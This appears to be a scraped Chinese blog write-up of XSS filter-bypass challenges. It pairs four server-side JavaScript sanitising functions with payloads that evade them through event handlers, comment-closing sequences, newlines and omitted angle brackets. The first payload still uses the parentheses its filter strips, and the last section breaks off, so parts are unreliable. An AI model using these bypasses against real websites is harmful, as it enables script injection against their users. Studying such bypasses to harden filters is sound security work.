xss实战
最新推荐文章于 2024-10-23 12:10:06 发布

bylfsj 于 2019-09-13 22:32:51 发布
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
一、过滤()`
1.()被过滤
服务端代码function render (input) { const stripBracketsRe = /[()`]/g input = input.replace(stripBracketsRe, '') return input } 12345
由于()被过滤,考虑编码绕过。
攻击代码<iframe onmouseover=javascript:alert(1)> 1
2.html 注释问题
a.服务端代码
function render (input) { input = input.replace(/-->/g, '?') return '<!-- ' + input + ' -->' } 1234
b.攻击代码
–>以及–!>均可结束注释
---!><script>alert(1)</script> 1
3.标签内过滤on/auto开头字段及尖括号>
a.服务端代码
function render (input) { input = input.replace(/auto|on.*=|>/ig, '_') return `<input value=1 ${input} type="text">` } 1234
b.攻击代码
通过换行避开正则。
type="image" src="xx" onmouseover ="alert(1)" 12
4.过滤</,<
a.服务端代码
function render (input) { const stripTagsRe = /</?[^>]+>/gi input = input.replace(stripTagsRe, '') return `<article>${input}</article>` } 123456
b.攻击代码
考虑到尖括号<>成对会被闭合,根据情况,可以省写>。</
相关知识
基于PHP的在线购物系统开发实战指南:从零构建电商平台
家庭养花实战手册(钻石版)
网络营销实战密码
郁李:花语与植物特征的魅力探寻
旅游摄影实战技巧
数字营销实战培训
花展实战拍摄技巧介绍
安全
超实用的拍摄花卉实战技巧!
摄影实战汇编
原文链接: xss实战 https://www.huajiangbk.com/newsview1388146.html
| 上一篇: 学习记录 | 下一篇: 手把手教你如何玩转插件:通用Ma... |





